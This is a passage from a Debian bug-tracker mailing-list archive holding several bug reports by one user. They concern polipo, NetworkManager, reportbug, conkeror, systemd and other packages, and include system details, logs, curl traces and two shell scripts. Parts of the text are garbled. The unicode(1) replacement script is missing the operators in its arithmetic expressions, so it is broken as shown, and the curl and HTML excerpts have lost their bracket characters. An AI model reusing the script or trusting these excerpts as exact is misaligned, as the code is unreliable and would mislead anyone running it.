ii  ppp 2.4.6-3

Versions of packages network-manager suggests:
pn  avahi-autoipd  none
pn  libteam-utils  none

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#775856: polipo hangs on HTTP basic authentication

2015-03-05 Thread Nils Dagsson Moskopp
Package: polipo
Version: 1.1.1-5
Followup-For: Bug #775856

Dear Maintainer,

I think the problem is that polipo cached a partial response.
After clearing the cache and restarting polipo, all was well.

-- System Information:
Debian Release: 8.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages polipo depends on:
ii  libc6 2.19-13
ii  lsb-base  4.1+Debian13+nmu1

Versions of packages polipo recommends:
ii  dnsmasq  2.72-2
ii  python   2.7.8-2

polipo suggests no packages.

-- Configuration Files:
/etc/polipo/config changed:
logSyslog = true
logFile = /var/log/polipo/polipo.log
dnsNameServer = 8.8.8.8
dnsQueryIPv6 = no
diskCacheUnlinkTime = 7


-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#751004: [patch] 9base: unicode(1plan9) outputs wrong characters

2015-03-05 Thread Nils Dagsson Moskopp
Package: 9base
Version: 1:6-6
Followup-For: Bug #751004

I have written a replacement for unicode(1) in Bourne Shell.

It seems to do the right thing for astral plance characters:

--- snib ---
; unicode 1F638-1F640
1F638  1F639  1F63A  1F63B  1F63C  1F63D  1F63E  1F63F  
1F640  
--- snab ---

--- snob ---
; unicode 10041-10050
10041 A 10042 B 10043 C 10044 D 10045 E 10046 F 10047 G 10048 H 
10049 I 1004A J 1004B K 1004C L 1004D M 1004E N 1004F O 10050 P 
--- sneb ---

-- System Information:
Debian Release: 8.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages 9base depends on:
ii  libc6  2.19-13

9base recommends no packages.

Versions of packages 9base suggests:
pn  wmii2  none

-- no debconf information
#!/bin/sh
# outputs unicode glyphs for hexadecimal character values
# example invocations unicode 2200, unicode 2200-22f1
# like unicode(1), but can handle astral plane characters
# © 2015 Nils Dagsson Moskopp (erlehmann), license: GPLv3+

hex_to_escape_sequence() {
  codepoint=$(( 0x$1 ))
  if [ $codepoint -le 127 ]; then
   printf '\%o' \
$codepoint
  elif [ $codepoint -le 2047 ]; then
   printf '\%o\%o' \
$((( $codepoint  6 ) + 192 )) \
$((( $codepoint  63 ) + 128 ))
  elif [ $codepoint -le 65535 ]; then
   printf '\%o\%o\%o' \
$((( $codepoint  12) + 224 )) \
$ $codepoint  6)  63 ) + 128 )) \
$((( $codepoint  63) + 128 ))
  elif [ $codepoint -le 1114111 ]; then
   printf '\%o\%o\%o\%o' \
$((( $codepoint  18 ) + 240 )) \
$ $codepoint  12 )  63 ) + 128 )) \
$ $codepoint  6 )  63 ) + 128 )) \
$((( $codepoint  63 ) + 128 ))
  fi
}

hex_successor() {
  printf '%X' $(( 0x$1 + 1 ))
}

for ARGUMENT; do
 case $ARGUMENT in
  *-*)
   CUR=${ARGUMENT%-*}
   END=${ARGUMENT#*-}
   COL=.
   printf %b $(
while :; do
 printf $CUR' '
 hex_to_escape_sequence $CUR
 printf '\t'
 if [ $CUR = $END ]; then
  break
 fi
 CUR=$( hex_successor $CUR )
 case ${#COL} in
  8)
   printf '\n'
   COL=.
  ;;
  *)
   COL=$COL.
 esac
done
   )
  ;;
  *)
   printf %b $(
hex_to_escape_sequence $ARGUMENT
   )
  ;;
 esac
done
printf '\n'


Bug#779604: network-manager: NetworkManager crashes on modem hangup

2015-03-02 Thread Nils Dagsson Moskopp
Package: network-manager
Version: 0.9.10.0-6
Severity: important

Dear Maintainer,

NetworkManager seems to randomly crash since a recent upgrade.
I have found in syslog something that might lead to a solution:

--- snip ---
Mar  3 00:11:28 lustschutzbunker pppd[19858]: Modem hangup
Mar  3 00:11:28 lustschutzbunker pppd[19858]: Connect time 16.4 minutes.
Mar  3 00:11:28 lustschutzbunker pppd[19858]: Sent 1707093 bytes, received 
35706876 bytes.
Mar  3 00:11:28 lustschutzbunker pppd[19858]: Connection terminated.
Mar  3 00:11:28 lustschutzbunker avahi-daemon[2015]: Withdrawing workstation 
service for ppp0.
Mar  3 00:11:28 lustschutzbunker NetworkManager[19781]: error 
[1425337888.047516] [platform/nm-linux-platform.c:1714] add_object(): Netlink 
error adding 0.0.0.0/0 via 10.6.6.6 dev ppp0 metric 1024 mss 0 src user: 
Unspecific failure
Mar  3 00:11:28 lustschutzbunker NetworkManager[19781]: error 
[1425337888.073730] [platform/nm-linux-platform.c:1714] add_object(): Netlink 
error adding 10.6.6.6/32 via 0.0.0.0 dev ppp0 metric 1024 mss 0 src user: No 
such device
Mar  3 00:11:28 lustschutzbunker NetworkManager[19781]: error 
[1425337888.073837] [platform/nm-linux-platform.c:1714] add_object(): Netlink 
error adding 0.0.0.0/0 via 10.6.6.6 dev ppp0 metric 1024 mss 0 src user: 
Unspecific failure
Mar  3 00:11:28 lustschutzbunker NetworkManager[19781]: error 
[1425337888.073890] [nm-policy.c:693] update_ip4_routing(): Failed to set 
default route.
Mar  3 00:11:28 lustschutzbunker pppd[19858]: Exit.
Mar  3 00:11:28 lustschutzbunker dbus[1990]: [system] Activating service 
name='org.freedesktop.NetworkManager' (using servicehelper)
Mar  3 00:11:28 lustschutzbunker dbus[1990]: [system] Activated service 
'org.freedesktop.NetworkManager' failed: Launch helper exited with unknown 
return code 1
--- snab ---

-- System Information:
Debian Release: 8.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages network-manager depends on:
ii  adduser3.113+nmu3
ii  dbus   1.8.10-1
ii  init-system-helpers1.21
ii  isc-dhcp-client4.3.1-1
ii  libc6  2.19-13
ii  libdbus-1-31.8.12-3
ii  libdbus-glib-1-2   0.102-1
ii  libgcrypt201.6.2-4+b1
ii  libglib2.0-0   2.42.1-1
ii  libgnutls-deb0-28  3.3.8-5
ii  libgudev-1.0-0 215-10
ii  libmm-glib01.4.0-1
ii  libndp01.4-2
ii  libnewt0.520.52.17-1+b1
ii  libnl-3-2003.2.24-2
ii  libnl-genl-3-200   3.2.24-2
ii  libnl-route-3-200  3.2.24-2
ii  libnm-glib40.9.10.0-5
ii  libnm-util20.9.10.0-5
ii  libpam-systemd 204-8
ii  libpolkit-gobject-1-0  0.105-8
ii  libreadline6   6.3-8+b3
ii  libsoup2.4-1   2.48.0-1
ii  libsystemd0215-10
ii  libteamdctl0   1.12-1
ii  libuuid1   2.25.2-4.1
ii  lsb-base   4.1+Debian13+nmu1
ii  policykit-10.105-8
ii  udev   204-8
ii  wpasupplicant  2.3-1

Versions of packages network-manager recommends:
ii  crda3.13-1
ii  dnsmasq-base2.72-2
ii  iptables1.4.21-2+b1
ii  iputils-arping  3:20121221-5+b2
ii  modemmanager1.4.0-1
ii  ppp 2.4.6-3

Versions of packages network-manager suggests:
pn  avahi-autoipd  none
pn  libteam-utils  none

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#775856: polipo hangs on HTTP basic authentication

2015-01-20 Thread Nils Dagsson Moskopp
Package: polipo
Version: 1.1.1-5
Severity: normal

Dear Maintainer,

when trying to use Polipo with a HTTP basic authentication, it just hangs.

I can reproduce the problom using curl.

--- snib ---
; curl http://logs.2pktfkt.de/nodrama.de/ -v
* Hostname was NOT found in DNS cache
*   Trying 144.76.60.131...
*   Trying 2a01:4f8:191:6482::2...
* Connected to logs.2pktfkt.de (144.76.60.131) port 80 (#0)
 GET /nodrama.de/ HTTP/1.1
 User-Agent: curl/7.38.0
 Host: logs.2pktfkt.de
 Accept: */*
 
 HTTP/1.1 401 Unauthorized
* Server nginx/1.6.2 is not blacklisted
 Server: nginx/1.6.2
 Date: Tue, 20 Jan 2015 18:15:46 GMT
 Content-Type: text/html
 Content-Length: 194
 Connection: keep-alive
 WWW-Authenticate: Basic realm=#nodrama.de
 
html
headtitle401 Authorization Required/title/head
body bgcolor=white
centerh1401 Authorization Required/h1/center
hrcenternginx/1.6.2/center
/body
/html
* Connection #0 to host logs.2pktfkt.de left intact
--- snab ---

I have Polipo installed and listening on 127.1 on port 8123:

--- sneb ---
; curl http://logs.2pktfkt.de/nodrama.de/ -v --proxy 127.1:8123
* Hostname was NOT found in DNS cache
*   Trying 127.0.0.1...
* Connected to 127.1 (127.0.0.1) port 8123 (#0)
 GET http://logs.2pktfkt.de/nodrama.de/ HTTP/1.1
 User-Agent: curl/7.38.0
 Host: logs.2pktfkt.de
 Accept: */*
 Proxy-Connection: Keep-Alive
 
--- snub ---

At this point, it just hangs. I have no idea why.

With URL http://httpbin.org/basic-auth/user/passwd polipo does not hang.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages polipo depends on:
ii  libc6 2.19-13
ii  lsb-base  4.1+Debian13+nmu1

Versions of packages polipo recommends:
ii  dnsmasq  2.72-2
ii  python   2.7.8-2

polipo suggests no packages.

-- Configuration Files:
/etc/polipo/config changed:
logSyslog = true
logFile = /var/log/polipo/polipo.log
dnsNameServer = 8.8.8.8
dnsQueryIPv6 = no


-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#774879: reportbug should prompt if attachments are allowed by user

2015-01-08 Thread Nils Dagsson Moskopp
Package: reportbug
Version: 6.6.0
Severity: wishlist

Dear Maintainer,


In bug #771561 reportbug silently attached my /etc/fstab to the bug report.
This file contained information that others have already been harassed for.

The file was deleted from the Debian bug tracking system.
However, I think it would be good if reportbug would prompt the user.
Then the user could decide if attachments to the bug report should be uploaded.


-- Package-specific info:
** Environment settings:
INTERFACE=urwid

** /home/erlehmann/.reportbugrc:
reportbug_version 6.4.4
mode standard
ui urwid
email nils+debian-report...@dieweltistgarnichtso.net
no-cc
header X-Debbugs-CC: nils+debian-report...@dieweltistgarnichtso.net
smtphost reportbug.debian.org

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages reportbug depends on:
ii  apt   1.0.9.3
ii  python2.7.8-2
ii  python-reportbug  6.6.0
pn  python:anynone

reportbug recommends no packages.

Versions of packages reportbug suggests:
pn  claws-mailnone
pn  debconf-utils none
pn  debsums   none
pn  dlocate   none
ii  emacs23-bin-common23.4+1-4.1+b1
ii  file  1:5.20-2
ii  gnupg 1.4.18-4
ii  msmtp-mta [mail-transport-agent]  1.4.32-2
ii  python-gtk2   2.24.0-4
pn  python-gtkspell   none
ii  python-urwid  1.2.1-2+b1
ii  python-vte1:0.28.2-5
ii  xdg-utils 1.1.0~rc1+git20111210-7.1

Versions of packages python-reportbug depends on:
ii  apt   1.0.9.3
ii  python-debian 0.1.25
ii  python-debianbts  1.12
pn  python:anynone

python-reportbug suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#772655: conkeror: StackExchange mode breaks StackExchange sites

2014-12-11 Thread Nils Dagsson Moskopp
Axel Beckert a...@debian.org writes:

 Hi Nils,

 Nils Dagsson Moskopp wrote:
 on StackExchange sites I cannot navigate using hotkeys.

 You can. You just have to prefix them with Ctrl-Z. (I know, because I
 ran into the very same case, too. :-)

 Back then I asked on IRC and got an answer quite quickly. But it's
 also documented on e.g.
 http://conkeror.org/PageModes?highlight=%28C-z%29

 I though must admit that neither
 chrome://conkeror-help/content/help.html nor
 chrome://conkeror-help/content/tutorial.html mention this keybinding.

Even if it would have been mentioned this overrides user preferences
without user consent and violates user expectations rather gravely.

 So from my point of view it's a pure documentation issue. (It's a
 feature, not a bug! ;-)

I think it is worse: It does something unexpected without any indication
why or how. I think that stackexchange-mode should not be on by default
or it should be the other way around – that keys for stackexchange-mode
should be reachable by some prefix, e.g. C-z.

-- 
Nils Dagsson Moskopp // erlehmann
http://dieweltistgarnichtso.net


pgphCSQN56kKz.pgp
Description: PGP signature


Bug#772889: /usr/bin/opj_compress: opj_compress man page is missing documentation of -jpip option

2014-12-11 Thread Nils Dagsson Moskopp
Package: libopenjp2-tools
Version: 2.1.0-2
Severity: normal
File: /usr/bin/opj_compress

Dear Maintainer,

obj_compress has an -jpip option, as evidenced by “opj_compress -h”.
However, this option is not documented in the obj_compress man page.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages libopenjp2-tools depends on:
ii  libc6 2.19-13
ii  liblcms2-22.6-3+b3
ii  libopenjp2-7  2.1.0-2
ii  libpng12-01.2.50-2+b1
ii  libtiff5  4.0.3-10+b3
ii  zlib1g1:1.2.8.dfsg-2+b1

libopenjp2-tools recommends no packages.

libopenjp2-tools suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#772655: conkeror: StackExchange mode breaks StackExchange sites

2014-12-09 Thread Nils Dagsson Moskopp
Package: conkeror
Version: 1.0~~pre-1+git141025-1
Severity: normal

Dear Maintainer,

on StackExchange sites I cannot navigate using hotkeys.
Closing buffer with q does not work, C-x k Ret works.

I think this is due to StackExchange mode being loaded.
StackExchange mode thus makes StackExchange unusable.

I find that pretty ironic.

-- Package-specific info:

-- Extensions information
Name: Element Hiding Helper for Adblock Plus
Location: 
/usr/share/mozilla/extensions/{a79fe89b-6662-4ff4-8e88-09950ad4dfde}/elemhidehel...@adblockplus.org
Package: xul-ext-adblock-plus-element-hiding-helper
Status: enabled

-- Plugins information

-- Addons package information
ii  xul-ext-adbloc 1.3-1all  companion for Adblock Plus to cre

-- Extensions information
Name: Element Hiding Helper for Adblock Plus
Location: 
/usr/share/mozilla/extensions/{a79fe89b-6662-4ff4-8e88-09950ad4dfde}/elemhidehel...@adblockplus.org
Package: xul-ext-adblock-plus-element-hiding-helper
Status: enabled

-- Plugins information

-- Addons package information
ii  xul-ext-adbloc 1.3-1all  companion for Adblock Plus to cre

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages conkeror depends on:
ii  iceweasel   31.2.0esr-3
ii  xulrunner-17.0  17.0.10esr-1~deb7u1
ii  xulrunner-24.0  24.5.0esr-1

Versions of packages conkeror recommends:
ii  conkeror-spawn-process-helper  1.0~~pre-1+git141025-1
ii  xdg-utils  1.1.0~rc1+git20111210-7.1

Versions of packages conkeror suggests:
ii  emacs23 [emacsen]  23.4+1-4.1+b1

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#772656: glade: Glade asks me if I want to take part in a survey

2014-12-09 Thread Nils Dagsson Moskopp
Package: glade
Version: 3.18.3-1
Severity: normal

Dear Maintainer,

today I installed and started Glade for the first time in a long time.
It asked me for a survey. I answered, but I do think this is annoying.

Could you remove that? It has not much to do with creating interfaces.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages glade depends on:
ii  libatk1.0-0  2.14.0-1
ii  libc62.19-13
ii  libcairo-gobject21.14.0-2.1
ii  libcairo21.14.0-2.1
ii  libgdk-pixbuf2.0-0   2.31.1-2+b1
ii  libgladeui-2-6   3.18.3-1
ii  libglib2.0-0 2.42.0-2
ii  libgtk-3-0   3.14.4-2
ii  libpango-1.0-0   1.36.8-2
ii  libpangocairo-1.0-0  1.36.8-2
ii  libxml2  2.9.1+dfsg1-4

Versions of packages glade recommends:
pn  devhelp   none
ii  libgtk-3-dev  3.14.4-2

glade suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#772209: ucspi-tcp: please add simple HTTP server utilizing tcpserver(1)

2014-12-06 Thread Nils Dagsson Moskopp
Package: ucspi-tcp
Version: 1:0.88-3
Severity: wishlist
Tags: patch

Dear Maintainer,


today I wrote a simple HTTP server that utilizes tcpserver(1) from ucspi-tcp.
The server uses HTTP 1.1 chunking and is mainly useful for streaming logfiles.
I saw that no HTTP Server is included in ucspi-tcp. Would you include mine?

Plain text code: http://news.dieweltistgarnichtso.net/bin/httptaild
More information: http://news.dieweltistgarnichtso.net/bin/httptaild.html

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages ucspi-tcp depends on:
ii  libc6  2.19-13

ucspi-tcp recommends no packages.

ucspi-tcp suggests no packages.

-- no debconf information
#!/bin/sh
# outputs a file over HTTP 1.1 and pushes updates when new lines are appended
# © 2014 Nils Dagsson Moskopp (erlehmann) – license: GPLv3+
# httptaild is intended for usage with tcpserver(1) from ucspi-tcp:
# tcpserver 0 8008 httptaild log serves log on http://localhost:8008

status () { printf '%s\r\n' HTTP/1.1 200 Ok; }
header () { printf '%s\r\n' $1; }
divide () { printf '%s\r\n' $1; }
length () { printf '%x\r\n' $1; }
body_n () { printf '%s\n\r\n' $1; }

status
header Content-type: $(file --brief --mime $1)
header Transfer-Encoding: chunked
divide
length $(wc -c $1)
body_n $(cat $1)

tail -n0 -f $1 | while IFS=$(printf '\n') read -r line; do
  length $(printf '%s\n' $line | wc -c)
  body_n $line
done


Bug#771542: stterm shows glyphs twice

2014-11-30 Thread Nils Dagsson Moskopp
Package: stterm
Version: 0.5+20140606+gitc2fd275-1
Severity: normal

Dear Maintainer,

today I started stterm with Unifont, by typing “stterm -f 'unifont:size=16'”.
It seems that stterm displays every glyph I input twice – beside the cursor.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages stterm depends on:
ii  libc6   2.19-13
ii  libfontconfig1  2.11.0-6.1
ii  libx11-62:1.6.2-3
ii  libxft2 2.3.2-1

stterm recommends no packages.

stterm suggests no packages.

-- no debconf information


stterm-rendering-fail.ogv
Description: video/ogg


Bug#771561: systemd package is missing dependency on Linux kernel (linux-image?)

2014-11-30 Thread Nils Dagsson Moskopp
Package: systemd
Version: 204-8
Severity: serious

Dear Maintainer,


according to upstream, systemd depends on the Linux kernel being in use.
Quote http://cgit.freedesktop.org/systemd/systemd/tree/README?id=v215:
 Linux kernel = 3.0
 Linux kernel = 3.3 for loop device partition support features with nspawn
 Linux kernel = 3.8 for Smack support

According to Lennart Poettering, future systemd versions are going to depend
on specific Linux kernel versions. For evidence, see this email from Lennart
http://lists.freedesktop.org/archives/systemd-devel/2014-May/019657.html:
 To make this clear, we expect that systemd and kernels are updated in
 lockstep. We explicitly do not support really old kernels with really 
 new systemd. So far we had the focus to support up to 2y old kernels 
 (which means 3.4 right now), but even that should be taken with a grain 
 of salt, as we already made clear that soon after kdbus is merged into 
 the kernel we'll probably make a hard requirement on it from the systemd 
 side.

See also bug #770876, where udev device enumeration in Xorg does not work
with Linux kernel 3.2, but does work with Linux kernel 3.16. Introducing
a versioned dependency of systemd on a Linux kernel =3.4 could prevent
breakage when upgrading from Wheezy, which comes with Linux kernel 3.2.

I have marked this bug serious after reading the RC issues document at
https://release.debian.org/testing/rc_policy.txt, according to this:
   Packages must include a Depends: line listing any other
   packages they require for operation, unless those packages are
   marked Essential: yes.

I could not determine if the package linux-image is marked essential, as
it seems to be an entirely virtual package. I have no idea how / if Debian
can handle versioned dependencies with virtual packages anyway.

-- Package-specific info:

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages systemd depends on:
ii  acl  2.2.52-2
ii  adduser  3.113+nmu3
ii  initscripts  2.88dsf-57
ii  libacl1  2.2.52-2
ii  libaudit11:2.4-1
ii  libc62.19-13
ii  libcap2  1:2.24-6
ii  libcap2-bin  1:2.24-6
ii  libcryptsetup4   2:1.6.6-3
ii  libdbus-1-3  1.8.10-1
ii  libgcrypt11  1.5.4-3
ii  libkmod2 18-3
ii  liblzma5 5.1.1alpha+20120614-2+b1
ii  libpam0g 1.1.8-3.1
ii  libselinux1  2.3-2
ii  libsystemd-daemon0   204-8
ii  libsystemd-journal0  204-8
ii  libsystemd-login0204-8
ii  libudev1 204-8
ii  libwrap0 7.6.q-25
ii  sysv-rc  2.88dsf-53.4
ii  udev 204-8
ii  util-linux   2.20.1-5.11

Versions of packages systemd recommends:
ii  libpam-systemd  204-8

Versions of packages systemd suggests:
pn  systemd-ui  none

-- Configuration Files:
/etc/systemd/logind.conf changed [not included]

-- no debconf information

0 overridden configuration files found.
== 
/var/lib/systemd/deb-systemd-helper-enabled/NetworkManager-dispatcher.service.dsh-also
 ==
/etc/systemd/system/dbus-org.freedesktop.nm-dispatcher.service

== /var/lib/systemd/deb-systemd-helper-enabled/acpid.service.dsh-also ==
/etc/systemd/system/multi-user.target.wants/acpid.service

== /var/lib/systemd/deb-systemd-helper-enabled/smartd.service.dsh-also ==
/etc/systemd/system/multi-user.target.wants/smartd.service

== 
/var/lib/systemd/deb-systemd-helper-enabled/dbus-org.freedesktop.nm-dispatcher.service
 ==

== /var/lib/systemd/deb-systemd-helper-enabled/anacron.service.dsh-also ==
/etc/systemd/system/multi-user.target.wants/anacron.service

== 
/var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/avahi-daemon.socket
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/lvm2-lvmetad.socket
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/acpid.socket 
==

== 
/var/lib/systemd/deb-systemd-helper-enabled/dbus-org.freedesktop.ModemManager1.service
 ==

== /var/lib/systemd/deb-systemd-helper-enabled/epmd.service.dsh-also ==
/etc/systemd/system/sockets.target.wants/epmd.socket
/etc/systemd/system/multi-user.target.wants/epmd.service

== /var/lib/systemd/deb-systemd-helper-enabled/binfmt-support.service.dsh-also 
==
/etc/systemd/system/multi-user.target.wants/binfmt-support.service

== /var/lib/systemd/deb-systemd-helper-enabled/atd.service.dsh-also ==
/etc/systemd/system/multi-user.target.wants/atd.service

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/openvpn.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/lxc.service 
==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/anacron.service
 ==

== 

Bug#771561: systemd: please remove /etc/fstab from bug report

2014-11-30 Thread Nils Dagsson Moskopp
Package: systemd
Version: 204-8
Followup-For: Bug #771561

Dear Maintainer,


This bug contains the contents of my /etc/fstab. I was never asked for this.
I already found bug #743158.  “We don't know, so assume yes.” is not consent.

Please remove the /etc/fstab from the bug report.
I will never again report bugs against systemd.


-- Package-specific info:

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages systemd depends on:
ii  acl  2.2.52-2
ii  adduser  3.113+nmu3
ii  initscripts  2.88dsf-57
ii  libacl1  2.2.52-2
ii  libaudit11:2.4-1
ii  libc62.19-13
ii  libcap2  1:2.24-6
ii  libcap2-bin  1:2.24-6
ii  libcryptsetup4   2:1.6.6-3
ii  libdbus-1-3  1.8.10-1
ii  libgcrypt11  1.5.4-3
ii  libkmod2 18-3
ii  liblzma5 5.1.1alpha+20120614-2+b1
ii  libpam0g 1.1.8-3.1
ii  libselinux1  2.3-2
ii  libsystemd-daemon0   204-8
ii  libsystemd-journal0  204-8
ii  libsystemd-login0204-8
ii  libudev1 204-8
ii  libwrap0 7.6.q-25
ii  sysv-rc  2.88dsf-53.4
ii  udev 204-8
ii  util-linux   2.20.1-5.11

Versions of packages systemd recommends:
ii  libpam-systemd  204-8

Versions of packages systemd suggests:
pn  systemd-ui  none

-- Configuration Files:
/etc/systemd/logind.conf changed [not included]

-- no debconf information

0 overridden configuration files found.
== 
/var/lib/systemd/deb-systemd-helper-enabled/NetworkManager-dispatcher.service.dsh-also
 ==
/etc/systemd/system/dbus-org.freedesktop.nm-dispatcher.service

== /var/lib/systemd/deb-systemd-helper-enabled/acpid.service.dsh-also ==
/etc/systemd/system/multi-user.target.wants/acpid.service

== /var/lib/systemd/deb-systemd-helper-enabled/smartd.service.dsh-also ==
/etc/systemd/system/multi-user.target.wants/smartd.service

== 
/var/lib/systemd/deb-systemd-helper-enabled/dbus-org.freedesktop.nm-dispatcher.service
 ==

== /var/lib/systemd/deb-systemd-helper-enabled/anacron.service.dsh-also ==
/etc/systemd/system/multi-user.target.wants/anacron.service

== 
/var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/avahi-daemon.socket
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/lvm2-lvmetad.socket
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/acpid.socket 
==

== 
/var/lib/systemd/deb-systemd-helper-enabled/dbus-org.freedesktop.ModemManager1.service
 ==

== /var/lib/systemd/deb-systemd-helper-enabled/epmd.service.dsh-also ==
/etc/systemd/system/sockets.target.wants/epmd.socket
/etc/systemd/system/multi-user.target.wants/epmd.service

== /var/lib/systemd/deb-systemd-helper-enabled/binfmt-support.service.dsh-also 
==
/etc/systemd/system/multi-user.target.wants/binfmt-support.service

== /var/lib/systemd/deb-systemd-helper-enabled/atd.service.dsh-also ==
/etc/systemd/system/multi-user.target.wants/atd.service

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/openvpn.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/lxc.service 
==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/anacron.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/smartd.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/NetworkManager.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/cron.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/pppd-dns.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/binfmt-support.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/lm-sensors.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/ModemManager.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/rsyslog.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/avahi-daemon.service
 ==

== 
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/atd.service 
==

== 
/var/lib/systemd/deb-systemd-helper-enabled/local-fs.target.wants/lvm2-activation-early.service
 ==

== 
